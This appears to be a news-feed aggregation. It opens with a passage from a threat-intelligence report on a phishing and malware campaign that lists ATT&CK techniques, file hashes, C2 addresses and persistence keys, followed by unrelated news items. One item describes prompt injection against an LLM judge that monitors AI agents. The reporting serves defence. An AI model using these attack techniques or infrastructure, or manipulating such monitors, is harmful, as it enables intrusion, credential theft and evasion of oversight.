Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.

By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a GET request for an .scr or .exe file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.

Protocol behavior

The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. PROPFIND requests and 207 responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. GET requests and 200 responses show file retrieval, including executable files opened or requested from the share.

Method	Count
PROPFIND	57,287
GET	13,088
OPTIONS	6,597
PROPPATCH	125
LOCK	1

Table 4: HTTP methods observed in WebDAV delivery traffic.

Status	Count
207	57,412
200	19,532
206	154

Table 5: HTTP status codes observed in WebDAV delivery traffic.

MITRE ATT&CK techniques

Name	MITRE ATT&CK technique	Code
Payload execution	User Execution: Malicious File	T1204.002
Masquerading	Right-to-Left Override	T1036.002
Masquerading	Double File Extension	T1036.007
DLL sideloading	Hijack Execution Flow: DLL	T1574.001
Obfuscation	Encrypted/Encoded File	T1027.013
Payload unpacking	Deobfuscate/Decode Files or Information	T1140
Payload carrier	Steganography / image-carried payload data	T1027.003
API hiding	Dynamic API Resolution	T1027.007
In-memory loading	Reflective Code Loading	T1620
Injection	Process Hollowing	T1055.012
Native API use	Native API	T1106
Sandbox evasion	Time Based Evasion	T1497.003
Anti-analysis	Debugger / instrumentation checks	T1622
UAC bypass	Bypass User Account Control	T1548.002
Persistence	Registry Run Keys / Startup Folder	T1547.001
Persistence	Scheduled Task	T1053.005
Collection	Keylogging	T1056.001
Collection	Screen Capture	T1113
Collection	Clipboard Data	T1115
Credential access	Credentials from Web Browsers	T1555.003
Credential access	Steal Web Session Cookie	T1539
Collection	Data from Local System	T1005
Collection	Automated Collection	T1119
Staging	Archive Collected Data: Archive via Utility	T1560.001
C2	Encrypted Channel	T1573
Exfiltration	Exfiltration Over C2 Channel	T1041
Possible persistence	WMI Event Subscription	T1546.003
Phishing lure generation	Generate Phishing Lures	AML.T0052
Resource Development	Resource Development	AML.TA0003
Obtain capabilities via LLM tooling	Obtain Capabilities	AML.T0016
LLM-assisted capability development	Develop Capabilities	AML.T0017
LLM prompt crafting for attack documentation	LLM Prompt Crafting	AML.T0065
Obtain capabilities via tooling	Obtain Capabilities: Software Tools	AML.T0016.001

Indicators of compromise (IOCs)

CURP campaign

Phishing page: hxxps://gobf[.]mx

WebDav server: onedrive[.]cv

ReportFinal..scr SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7

C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888

Domain: google.services[.]ug

Campaign tag:06x12x2026SantaEbash2 (v4.4.3)

Schedule tasks: brokerhost, net_queue_32

Staging paths:

%TEMP%\is-XXXXX.tmp\Fo-Binary.exe

%AppData%\Roaming\inttracer_i686_prod\

C:\ProgramData\inttracer_i686_prod\

DlrtyGames campaign

C2: 23[.]94[.]252[.]228:57666

JA3: fc54e0d16d9764783542f0146a98b300

DlrtyGames.exe

SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268

discord-rpc.x64.dll

SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df

profiler16.dll

SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9

loader-pool.db

SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b

.NET RAT

SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923

Staging paths:

C:\ProgramData\basenet\

%APPDATA%\basenet\

Persistence:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW

\com_app_bg_i686

\messenger_component_v8_32_rc

More indicators of compromise can be found on Rapid7’s GitHub.

Rapid7 customers

Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.

Conclusion

The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.

The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded.

While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.

The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.

Google Maps: Route speichern und merken – so habt ihr eure Lieblingsstrecken immer parat

Mon, 20 Jul 2026 13:42:26 +0200

Mit Google Maps findet ihr fast jeden Ort der Welt, doch eine Route für später zu speichern, ist nicht so einfach, wie es klingt. Google hat die wirklich praktischen Funktionen etwas versteckt. Aber keine Sorge: Wir zeigen euch, wie ihr eure wichtigsten Routen mit wenigen Klicks immer parat habt – egal ob am Smartphone oder PC.

Dutch Surf tests practical route out of Big Tech dependency

Mon, 20 Jul 2026 13:03:05 +0200

The Netherlands’ education and research IT cooperative is running pilots with open source tools, placing working alternatives alongside existing Big Tech services

Google Maps & Gemini: Ask Maps startet schon bald in der Routenplanung – beantwortet Fragen (Screenshots)

Mon, 20 Jul 2026 13:02:47 +0200

Sowohl die Routenplanung als auch die Navigation von Google Maps lassen sich mit KI-Funktionen aufrüsten und schon bald steht die tiefere Integration der Funktion Ask Maps vor der Tür. Jetzt zeigt sich im Rahmen eines Teardowns, dass die Nutzer in Kürze Fragen zur geplanten Route stellen können. Diese umfassen sowohl die Route als auch die zu durchfahrende Umgebung.

Mehr lesen: Google Maps & Gemini: Ask Maps startet schon bald in der Routenplanung – beantwortet Fragen (Screenshots)

Keine Google-News mehr verpassen: GoogleWatchBlog bei Google News abonnieren

Der Beitrag Google Maps & Gemini: Ask Maps startet schon bald in der Routenplanung – beantwortet Fragen (Screenshots) erschien zuerst auf GoogleWatchBlog.

GoldenEyeDog Hackers Group Behind DigiCert Breach that Hijacks Code-Signing Certificates

Mon, 20 Jul 2026 10:24:15 +0200

GoldenEyeDog, a Chinese cybercrime group linked to the Golden Gh0st malware family, is back in focus after an intrusion at DigiCert exposed the risks around code-signing certificates. The attackers used the access to intercept customer certificate activation codes and sign their own malicious files. The operation relied on a simple but effective route into a […]

The post GoldenEyeDog Hackers Group Behind DigiCert Breach that Hijacks Code-Signing Certificates appeared first on Cyber Security News.

‘Agent Kim Reactivated’ Season 1, Episode 8 Recap: Kim Takes on One Final Mission

Mon, 20 Jul 2026 01:24:34 +0200

Agent Kim Reactivated Season 1, Episode 8 places Kim Do-hyeon inside another deadly operation after the authorities use his daughter’s safety to force him back into service. Kim learns the truth about his imprisonment Episode 8 begins with Kim trapped inside what appears to be a North Korean interrogation facility. Soldiers torture him for several days, but he refuses to reveal any information. The situation changes when one of the interrogators threatens Min-ji. Kim immediately fights back, only to discover that the entire prison setup was a test organised by South Korean officials. Mole Cricket explains that the authorities still need Kim’s skills. They offer him and Min-ji new identities, but Kim must first complete one final mission. Kim agrees on two conditions. Min-ji must remain safe, while Han-su and Jin-cheol must be released. The officials accept his terms, giving Kim little choice but to return to the dangerous life he tried to leave behind. What happened before Episode 8? In Episode 7, Kim finally reunited with Min-ji after fighting through several groups trying to capture them. He also defeated Ju Gang-chan, who had threatened his daughter and attempted to recruit him. Min-ji stopped Kim from killing Ju and forced him to seek an apology instead. Kim later prepared a final meal for his daughter before surrendering himself to the authorities. The episode ended with Kim waking inside the prison, making it appear that he had been secretly transported to North Korea. Kim protects a North Korean defector Kim’s new mission involves protecting an important North Korean official seeking asylum in South Korea. The defector carries sensitive information that could influence negotiations between the two countries. Kim takes the man to a safe house while Sang-a prepares for the next stage of the operation. However, Ju Gang-chan begins working with North Korean officials to capture the defector before he can reveal what he knows. Armed attackers soon raid the safe house. Kim uses a decoy plan, sending part of his team through the woods while he escapes through another route with the defector. Kim quickly realises that the attackers knew too much about the mission. Their timing and knowledge suggest that someone inside the SMD leaked the safe house location. Episode 8 ending explained Kim eventually meets Han-su and Jin-cheol, bringing the three former agents together again. Their reunion lasts only a few moments before Mole Cricket arrives with SMD forces. Mole Cricket claims that Kim failed to complete his assignment. He then announces that Kim will be sent back to North Korea. The cliffhanger raises several questions. Mole Cricket could be involved in the information leak, or he may be following orders from someone inside the government. Kim must now uncover the traitor while protecting the defector, Min-ji and his closest allies. Episode 8 expands the story beyond Min-ji’s kidnapping and introduces a larger conflict involving political corruption, secret deals and betrayal inside the intelligence service. Do you think Mole Cricket betrayed Kim, or is he hiding another part of the mission? Let us know in the comments.

‘Agent Kim Reactivated’ Episode 9 Release Date and What to Expect

Sun, 19 Jul 2026 17:24:40 +0200

Agent Kim Reactivated Episode 9 will release on Friday, July 24, 2026, as Kim Do-hyeon enters the final stage of his dangerous mission. The upcoming episode will continue directly after Episode 8’s cliffhanger, which placed Do-hyeon and General Ri in a difficult position. With only two regular episodes remaining, the story is moving toward its final rescue mission and confrontation. Agent Kim Reactivated Episode 9 release details Episode 9 release date: Friday, July 24, 2026 Episode 10 release date: Saturday, July 25, 2026 Broadcast time: 9:50 p.m. KST Network: SBS Streaming platform: Netflix Genre: Action, thriller, drama and comedy Total regular episodes: 10 Based on: The Manager Kim webtoon The series releases two episodes every week on Friday and Saturday. Episode 9 begins the final weekend, while Episode 10 will conclude the main story. What happened before Episode 9? Spoilers ahead for Episodes 7 and 8. Kim Do-hyeon finally rescued his daughter, Min-ji, after facing the people responsible for her kidnapping. He also confronted Ju Gang-chan, who tried to convince him to join his side by promising money and protection. Do-hyeon defeated Gang-chan but stopped before killing him after Min-ji intervened. He later shared an emotional farewell with his daughter and surrendered to the agency, believing that she would remain safe. The agency then gave him one final mission. Do-hyeon must protect General Ri, a high-ranking North Korean defector connected to his past. Successful completion of the mission would allow Do-hyeon and Min-ji to receive new identities and begin a safer life. However, Gang-chan exposed General Ri’s location to North Korean officials. Episode 8 ended when Mole Cricket arrived at Park Jin-cheol’s hideout and announced that Do-hyeon had failed. He also ordered General Ri’s return to North Korea. What to expect from Agent Kim Reactivated Episode 9 The Episode 9 preview suggests that Do-hyeon and General Ri will be taken toward North Korea, where General Ri faces interrogation. Do-hyeon will need to find another escape route while protecting the man he was ordered to save. Park Jin-cheol and Seong Han-soo are also expected to return for the counterattack. Their friendship with Do-hyeon has become an important part of the series, especially as the former agents work together against stronger government and criminal forces. The preview also hints at another meeting between Do-hyeon and Ju Gang-chan. Do-hyeon appears ready to offer Gang-chan a deal, although trusting him remains dangerous after his repeated attacks against Min-ji and General Ri. Episode 9 should include gunfights, escape attempts and a high-risk rescue operation as Do-hyeon tries to complete his mission. Gang-chan’s warning that their children will suffer if anyone harms him also raises the possibility that Min-ji could face another threat before the finale. The story is heading toward a final family reunion Agent Kim Reactivated began with Do-hyeon leaving his quiet life behind after Min-ji disappeared. Since then, the series has revealed his background as a former black-ops agent and the sacrifices he made to become an ordinary father. Episode 9 will bring those two sides of his life together. Do-hyeon must survive one final mission before he can return to Min-ji, while his enemies continue using his family as pressure against him. Do you think Do-hyeon will complete his mission and reunite with Min-ji, or will Ju Gang-chan create one final problem? Let us know in the comments.

Genius Bar AI tools spark concerns over employee monitoring & evaluation

Sun, 19 Jul 2026 16:39:02 +0200

Apple is testing a new Genius Bar tool called Live Notes that transcribes and summarizes conversations with a customer, but employees are worried about how the tool might be used against them.

Genius Bar employees may gain a new AI assistant

Artificial intelligence has become a buzzword throughout the tech industry from both the consumer and employee perspective. Employees of any kind at many companies have had to contend with mandatory AI tool use forced on them by the employer.

So far, reports haven't indicated Apple taking such a hardline route to AI tool use. However, the "Power On" newsletter from Bloomberg shares that Apple is testing a new tool called Live Notes for use in the Genius Bar.

Continue Reading on AppleInsider | Discuss on our Forums

Killing the astrophysical chameleon (emf2026)

Sun, 19 Jul 2026 14:48:30 +0200

Astronomical observations show that our universe is expanding faster and faster in all directions due to something we call ‘dark energy’ – but what exactly is it? There are many theories out there, and astrophysicists have an unlikely ally in the search – atomic physicists like myself. As part of my PhD research, I used lasers to trap and cool atoms to use as tiny sensors to search for new physics, including searching for evidence of a specific dark energy candidate, the chameleon field. In this talk I will give an overview of the physics behind dark energy and my experiment, explain how atomic physics experiments have applications across all sorts of fields, and why even though I ended up measuring zero, that’s still moving science forward. Note: no actual chameleons were harmed in the making of this talk. Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/ about this event: https://www.emfcamp.org/schedule/2026/246-killing-the-astrophysical-chameleon

Killing the astrophysical chameleon (emf2026)

Sun, 19 Jul 2026 13:17:56 +0200

Google Maps: So könnt ihr sehr leicht Strecken, Flächen und mehr mit dem Lineal messen (Android & Desktop)

Sun, 19 Jul 2026 07:02:30 +0200

Durch die Kartenplattform Google Maps lässt sich die Welt in unzähligen Ansichten und mit vielen Details entdecken - aber es lassen sich auch Vermessungen durchführen. Neben der Streckenlänge einer geplanten Route lässt sich auch die Entfernung als Luftlinie berechnen - aber auch das ist noch nicht alles. Heute zeigen wir euch, wie ihr Flächen bzw. deren enthaltenes Gebiet vermessen könnt.

Mehr lesen: Google Maps: So könnt ihr sehr leicht Strecken, Flächen und mehr mit dem Lineal messen (Android & Desktop)

Keine Google-News mehr verpassen: GoogleWatchBlog bei Google News abonnieren

Der Beitrag Google Maps: So könnt ihr sehr leicht Strecken, Flächen und mehr mit dem Lineal messen (Android & Desktop) erschien zuerst auf GoogleWatchBlog.

Two new high severity WordPress vulnerabilities, patch immediately!

Sat, 18 Jul 2026 17:07:49 +0200

The 7.0.2 WordPress security release addresses one critical and one high severity security issue. The vulnerabilities reported to the WordPress security team include: CVE-2026-60137 – A facilitated SQL injection issue reported as a team by TF1T, dtro, and haongo CVE-2026-60137 – A REST API batch-route confusion and SQL injection issue leading to Remote Code Execution reported by Adam Kues at Assetnote / Searchlight Cyber Which versions of WordPress are vulnerable? WordPress 6.9 is affected by … More →

The post Two new high severity WordPress vulnerabilities, patch immediately! appeared first on Help Net Security.

Reconstructing a 19th-Century Riverside Community with Historical GIS (emf2026)

Sat, 18 Jul 2026 12:18:27 +0200

I am a genealogist who uses maps and technology to explore how people lived. Historical GIS (HGIS) applies GIS tools to historical sources to understand how places and communities changed over time. In this presentation, I will show how I used HGIS to aid genealogical research by integrating QGIS with 1840 tithe maps, OS maps, OpenStreetMap data, and census records to trace households and buildings along a Hampshire riverside street from 1840 to 1921. The aim is to provide an overview of HGIS in genealogy, including aligning historical maps with modern coordinates, linking people to properties, and answering questions through a single spatial view. After creating the core map, I focused on linking people to specific properties over time. I imported a colour map scan into QGIS, traced buildings, and connected them to census records and parish registers. This involved addressing challenges such as name variants, multi-household properties, and short-term moves within the same area. I also encountered surprises and limitations, including the feasibility of reconstructing a census enumerator’s route in a close-knit community. Once mapped and interconnected, patterns emerged that are not immediately obvious from the documents alone. Properties such as inns and boatyards showed long-standing kinship ties among households, with related families moving between nearby buildings and maintaining connections over decades. I will share how integrating maps with records clarified who lived where, highlighted clusters of work and occupation, and gave a detailed view of how this riverside community evolved over time. Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/ about this event: https://www.emfcamp.org/schedule/2026/87-reconstructing-a-19th-century-riverside-community

New wp2shell RCE Vulnerability Hits Millions of WordPress Sites, Emergency Patch Released

Sat, 18 Jul 2026 05:22:52 +0200

A critical pre-authentication remote code execution (RCE) vulnerability dubbed “wp2shell” has been discovered in WordPress Core, putting an estimated 500 million+ websites at risk of full takeover by unauthenticated attackers. Security researcher Adam Kues of Searchlight Cyber’s Assetnote research team uncovered the flaw, which stems from a REST API batch-route confusion issue that leads to […]

The post New wp2shell RCE Vulnerability Hits Millions of WordPress Sites, Emergency Patch Released appeared first on Cyber Security News.

Unauthenticated SQL Injection in WordPress Core Fixed in 7.0.2

Fri, 17 Jul 2026 23:52:49 +0200

On 17 July 2026, the WordPress core team shipped WordPress 7.0.2, a security release addressing both a critical and a high severity vulnerability. The critical issue is an unauthenticated SQL injection reachable through the REST API’s batch endpoint, via a route/handler confusion that defeats input validation. The WordPress team and the reporting researcher classify the […]

Intuit scrapped its own AI agent architecture twice in four months. At VB Transform 2026, its AI VP called that the fast path

Fri, 17 Jul 2026 23:02:41 +0200

Intuit was an early pioneer in the usage of agentic AI, but its path to success has hardly been a straight line.

At VB Transform 2026, Intuit VP of AI Nhung Ho described how the company rebuilt its agent architecture twice in the span of about four months, first moving from a fleet of specialist agents to a central orchestration layer, then abandoning that layer for a skills and tools based system once the orchestrator itself started failing under its own complexity. The full second rebuild took 60 days, with a first working version in under 20.

The failure mode that forced the second rewrite was specific. Agents in the orchestrated system passed results to each other in natural language, and each handoff lost context the next agent needed to act correctly.

"If you have 10 agents and they all are passing to each other, every time that pass happens, error compounds," Ho said.

Why the orchestration layer broke down

Ho said the original push toward specialist agents came from a straightforward customer complaint. A fleet of capable agents is still something a customer has to manage, deciding which agent to use for which task. Intuit's answer was a system that could take a task and route it internally, without asking the customer to pick an agent themselves.

That orchestration layer held up for about three months, which Ho described only half joking as roughly a year in the compressed timeline of agent development in 2026.

It broke for a structural reason rather than a capacity one. Passing outcomes between agents in natural language meant each downstream agent had to infer how the upstream agent reached its conclusion, and that inference degraded with each additional hop. A ten agent chain did not fail occasionally, it compounded errors by design.

That diagnosis is what sent Intuit back to a skills and tools architecture.

The 60-day rebuild, and what it took to get engineering buy-in

Rebuilding a production agent system in 60 days required more than an architectural decision. Ho said the harder problem was internal, convincing both leadership and the engineers who had built the original agents that scrapping recent work was the right call.

The pitch to leadership relied on evidence rather than argument. Ho's team built a demo of the new architecture using real customer queries pulled from production, then showed it performing better than the existing system on the same tasks.

"The best proof, at least my belief, is what are customers trying to do? And whatever system you build needs to address those problems," Ho said.

Winning over engineering required a different case. Hundreds of engineers outside Ho's core team had built the specialist agents being retired, and the ask was to take their agents apart into individual skills and tools instead.

Ho said the motivating argument was scale. A standalone agent solved one narrow problem, while a shared skill or tool built into the new architecture could serve every customer who touched that part of the product. That shift also changed what partner teams were responsible for day to day, moving their focus from building agents to running evals, since evals became the only way to measure whether the new architecture was actually working.

Bringing a human into the loop, and feedback at a different scale

The clearest customer facing result of the rebuild is a feature that lets a live agent conversation pull in a human — though it's currently in early testing, live to about 1% of Intuit's customer base. "We're going to be scaling it up in the next few weeks," she said.

Ho said a customer can bring in an Intuit product support person mid conversation, or their own accountant, or one of Intuit's own bookkeepers, and that person joins with the full context of what the agent has already done.

Ho drew a direct contrast with how most AI chat products handle the same situation. A general purpose assistant answering a tax question typically ends with a disclaimer to consult a professional. Intuit's system is built to connect the customer to that professional directly, inside the same conversation.

That human handoff sits alongside a permissions model built for financial data specifically. Every action an agent takes on a customer's financial data requires explicit permission first, though Ho said that requirement can ease over time as customers build trust in the system. Intuit keeps an audit log of everything an agent does that can be reversed if needed.

Feedback in the agentic AI era

The rebuild also changed how Intuit gathers and uses feedback, a shift Ho said is qualitatively different from what came before.

"Feedback in the past used to be very, very sparse, and it was also very bimodal," Ho said. "Either they loved it or they hated it, and usually it tends towards the negative."

In a chat based system, every conversation functions as feedback, which Ho said moved the company from roughly 0.3% of customers ever giving explicit feedback to something close to 100%.

Ho said she has returned to writing code herself specifically to build models that analyze that feedback volume systematically, looking for where the system is falling short at a scale no manual review process could keep up with.

That volume comes with a tone most product teams aren't used to hearing directly. Customers tell the agent exactly where it failed, in plain terms.

"They straight up tell you, 'You suck. I hate this. This is not right,'" Ho said. "But they're also willing to give the systems grace and correct it as well, and so the onus is on all of us to harvest this new piece of feedback and type of feedback, and actually improve the system."

Brex built its AI agent policy by watching what agents actually do, not by writing rules first

Fri, 17 Jul 2026 21:32:56 +0200

OpenClaw has become one of the most widely adopted agentic frameworks, but it has yet to prove itself at enterprise scale. Agents need real credentials — API keys, OAuth tokens, service accounts — to work effectively, and Brex found that traditional guardrails couldn't contain what those agents were doing with them.

Brex set out to overcome these limitations by building an internal platform it calls CrabTrap. The open-source HTTP/HTTPS proxy intercepts all network traffic, examines policy rules, and uses a LLM-as-a-judge to decide whether agent requests should be approved or denied.

“What we noticed was that the network layer was an untapped enforcement point,” Brex co-founder and CEO Pedro Franceschi told VentureBeat. “Every request an agent makes is an opportunity to intercept, reason about, and make a policy decision.”

The takeaway Franceschi wants IT leaders to draw: agent governance should shift from SDK-level permissions and model guardrails toward a centralized network control plane that enforces and learns from real in-the-wild agent behavior.

How Brex targeted the transport layer

The “obvious fix” (at least initially) to the agent security gap was guardrails, and much of the early work has centered on scoped tools, per-action permissions, and human-in-the-loop approvals. But as agents evolve, each new capability means there’s another API to tune or surface to audit, Franceschi noted.

“Any agentic system with multiple tools and access to the open internet creates an immediate tension for builders: The more capable you make an agent, the more dangerous it becomes, and the safer you make it, the less useful it is,” he said.

Existing solutions to this tradeoff were “weak”: Fine-grained API tokens help at the margins but can still be misused and constrain functionality. Semantic guardrails (such as context, skills, or prompt steering) are easily bypassed by prompt injection, especially for agents connected to the internet.

Agents can be “defanged” when given read-only access or limited toolsets, but then they can't do meaningful work, Franceschi said. On the other hand, granting broad write access and a large tool surface can result in hallucinations and real production consequences.

Model context protocol (MCP) gateways enforce policy at the protocol layer — but only for traffic using MCP. Meanwhile, guardrails from LLM providers are tied to a single model and can be “opaque” to customize with enterprise-specific policies. And powerful tools like Nvidia OpenShell offer more of a “per-sandbox egress control.”

“When we started, we hadn’t found a solution to deploying harnesses like OpenClaw safely,” Franceschi said. “Instead of waiting for the industry to catch up, we decided to own the problem and invent the necessary tools.”

Notably, they needed a platform that sat between every agent and every network request, and could make “nuanced decisions about what to allow,” he said.

This made the transport layer a core architectural component and natural starting point, he said.

By operating at this layer, CrabTrap is framework-agnostic, language-agnostic, and API-agnostic. It doesn't require SDK wrappers or per-tool integration. Users set HTTP_PROXY and HTTPS_PROXY in the agent's environment, and every outbound request routes through the proxy before it reaches a destination.

However, Franceschi emphasized, Brex didn't start at the transport layer because it thought it was the only answer; rather, they believe in “security by layers.”

“The transport layer was simply an underinvested one, and we saw an opportunity to add meaningful enforcement there alongside everything else,” he said.

The LLM-as-a-judge training loop

CrabTrap combines deterministic static rules with an LLM-as-a-judge for requests that fall outside known patterns, Franceschi explained. The judge only “fires on the long tail of unfamiliar endpoints or unusual request shapes,” which for a mature agent is typically fewer than 3% of requests.

The more pressing problem was how to know that a policy is the right one? With static rules, it's “relatively straightforward” to reason about accuracy. But with an LLM judge, the system is nondeterministic, and users need confidence that the policy approves the right requests and blocks the rest.

“Our key insight was to bootstrap policy from observed behavior rather than write it from scratch,” Franceschi said. Beginning with real behavior and editing down based on real-world learnings turned out to be “dramatically more effective than starting from a blank page.”

Brex’s team built a policy builder (itself an agentic loop) that runs underlying agents in shadow mode, analyzes historic network traffic, samples representative calls, and drafts a natural-language policy that matches what the agent actually does.

From there, they built an eval system that tests policy changes before they go live. CrabTrap compares historical audit entries against a draft policy and reports the exact changes to be made. Users can slice results by method, URL, original decision, and agreement status.

All of this runs with concurrent judge calls, so replaying thousands of requests “takes minutes, not hours,” Franceschi said. Brex also developed a live feedback loop: Full audit trails are stored in PostgreSQL and queryable through the admin API and dashboard. In cases where a resource is continuously denied, the system can notify a human or an agent to propose a policy update for review.

“That closes the loop between observed denials and policy refinement,” Franceschi said.

Core challenges and roadblocks

Of course, the build wasn’t without its challenges. A big one was latency: “Putting an LLM between an agent and every outbound API request sounds like it would grind things to a halt,” he said.

However, it didn’t turn out to be as big a problem as expected. This was for two reasons: The LLM judge only activates on a small fraction of requests (the aforementioned 3%). Agents quickly settle into predictable traffic patterns; once observed, high-volume patterns become static rules. Second, by using small, fast models like Claude Haiku meant that, even when the judge did fire, added latency was “negligible.” This can be further reduced with local models and prompt caching, Franceschi said.

The harder and less obvious challenge was prompt injection, he said. The judge receives the full HTTP request and all content is user-controlled, so potentially, a crafted URL, header, or request body could manipulate the judge's decision.

Brex addressed this by structuring the request as a JSON object before sending it to the model, so all user-controlled content is “escaped rather than interpolated as raw text,” Franceschi said.

Results, and where CrabTrap might evolve

Brex tracks a few factors to measure CrabTrap’s internal impact: Engagement with agents, network traffic patterns, and net promoter scores (NPS). The most meaningful result of CrabTrap has been “organizational confidence,” Franceschi said.

Previously, the team had “real hesitation” when it came to deploying autonomous agents broadly across business operations, because the existing guardrail options didn't provide enough assurance.

“CrabTrap changed that calculus,” Franceschi said. They now have an enforcement layer they trust, increasing confidence around expanding agent deployment into more parts of the business and delegating more agent configuration and management to users.

Franceschi described the policies derived from traffic as “surprisingly strong.” The team expected the policy builder to produce a “rough starting point” requiring heavy manual editing. In practice, though, pointing the platform at a few days of real traffic produced policies that matched human judgment on the “vast majority of held-out requests.”

Additionally, CrabTrap revealed how much noise agents generate. “The audit trail made this visible for the first time,” Franceschi said. They used denial logs and traffic analysis not only to tune policies, but to tighten agents themselves, remove tools, and cut out entire categories of requests that were wasting both time and tokens.

“The proxy became a discovery tool, not just an enforcement one,” he said.

Areas for growth (and input from the open-source community)

Brex anticipates CrabTrap to continue to evolve, particularly as they have released it as open-source. “We hope the community helps shape it,” Franceschi said.

Areas of improvement include deeper authentication functionality such as single-sign on (SSO), fine-grained role-based access control (RBAC); escalation workflows that allow agents to request additional permissions; and policy recommendations based on denial patterns.

Programmatic configuration, or developing API endpoints for “creating, forking, and applying” policies to agents, could allow the whole policy lifecycle to be automated rather than managed manually, Franceschi said.

As for escalation, if an agent is continuously denied a given resource or endpoint, it should be able to route requests to humans or other AI agents for review and back that up with a rationale for why it needs access.

“That turns CrabTrap from a hard enforcement boundary into something more like a managed permission system,” Franceschi said.

Additionally, the policy was built to bootstrap from network traffic, but there is opportunity to incorporate additional signals around agent traces and resource-calling, as well as broader context on what agents are ultimately trying to accomplish. This can help produce more accurate and nuanced policies.

Finally, there's an “open philosophical question” about the right posture for CrabTrap: Should it be a fully transparent layer that the agent itself is unaware of, or should it operate more like a “well-intentioned manager”? (that is, the agent knows about the layer and can interact with it).

The open-source community can help shape these developments, and CrabTrap will only get better with more users, Franceschi said. Brex’s agents speak to a specific set of APIs; teams using CrabTrap with different agents, services, and policy requirements will surface “edge cases and patterns we can't hit alone.”

“We have ambitious plans for where it could go, and we’d rather build in the open,” Franceschi said.

What other builders can learn from CrabTrap

The response has been stronger than expected. CrabTrap has more than 700 stars on GitHub. Franceschi said Brex has also heard from OpenAI, Y Combinator CEO Garry Tan, and programmer Pete Steinberger, all expressing interest in deploying similar internal infrastructure.

The broader lesson: “Don't let infrastructure gaps become excuses to wait," Franceschi advised. There are “real blockers” for every enterprise looking to seriously deploy AI agents, including security concerns, lack of tooling, or unclear guardrails.

“It's tempting to sit on your hands until the industry catches up,” he said. “The lesson from CrabTrap is that you can own those problems directly.”

Agent Kim Reactivated Episode 8 Predictions: Every Major Twist We Expect Next

Fri, 17 Jul 2026 20:23:47 +0200

Agent Kim Reactivated Episode 8 will continue Kim Do-hyeon’s desperate search for Min-ji after another painful setback separated the father and daughter in Episode 7. The next episode will air on Saturday, July 18, 2026, following the show’s regular Friday and Saturday schedule. Episode 7 ended with Min-ji unknowingly entering Joo Kang-chan’s vehicle, placing her directly in the hands of one of Kim’s most dangerous enemies. The series follows Kim Do-hyeon, an ordinary bank employee who was previously an elite black-ops agent. His hidden life resurfaces when his daughter disappears, forcing him to reconnect with old allies and confront those responsible for destroying his former team. What happened in Agent Kim Reactivated Episode 7? Spoilers ahead for Episode 7. Kim followed the kidnappers to a cold-storage facility after learning that Min-ji was being held there. While he fought his way through several attackers, Min-ji refused to cooperate with Golden Teeth and eventually trapped him inside the storage area before escaping. Kim also faced the younger brother of Agent 66, who believed that Kim had deliberately killed his older brother during a past mission. Their fight revealed the truth about the failed operation. Agent 66 had suffered a fatal injury and ordered Kim to survive rather than die beside him. The flashbacks also showed that Kim had not leaked information about the mission. His North Korean superior, Ru Eung-ryeong, had betrayed the team, causing the operation to collapse. Min-ji escaped into the rain but struggled with exhaustion and the freezing weather. She heard her father nearby but believed his voice was a hallucination. Kim later found the apology note she had left behind and used security footage to continue tracking her. The episode ended with Min-ji accepting a ride from Joo Kang-chan without recognising him. Kim remained only a short distance behind, unaware that she had entered another dangerous situation. Agent Kim Reactivated Episode 8 predictions Episode 8 will likely begin with Kim and Seong Han-su pursuing Joo Kang-chan’s vehicle. Kim already knows that Kang-chan wants to protect his own daughter, even if that means killing Min-ji and covering up the crimes she witnessed. Min-ji may discover Kang-chan’s identity before they reach his home. Her repeated escapes have shown that she can remain calm under pressure, so she could leave another clue that helps Kim follow their route. Agent 66’s younger brother may also return as an unexpected ally. After learning that Kim did not cause his brother’s death, he now has a reason to target the senior official who betrayed their unit. Meanwhile, Mole Cricket will probably continue using Min-ji as leverage. His refusal to follow the minister’s earlier order suggests that he has his own plan and may turn against both Kang-chan and the Special Missions Directorate. The central confrontation should bring Kim closer to Min-ji while exposing more details about the conspiracy connected to his final mission. However, the series still has ten episodes, which means their reunion may face another complication before Kim can take her home safely. Do you think Kim will finally rescue Min-ji in Episode 8, or will Joo Kang-chan escape with her again? Let us know your predictions in the comments.

Why technology leaders are losing the AI conversation to the people who report to them

Fri, 17 Jul 2026 13:03:31 +0200

I keep seeing a version of the same scene. A CEO has a question about AI. It is a real question, the kind that will shape where the company spends the next two years. The CEO does not bring it to the CIO. They bring it to a data leader two levels down, or to a vendor who presented at a conference, or to an AI specialist a board member recommended. The CIO finds out the strategy is forming when a slide shows up that they did not build. By then, the direction is already half-set, and the CIO is being asked to react to it rather than shape it.

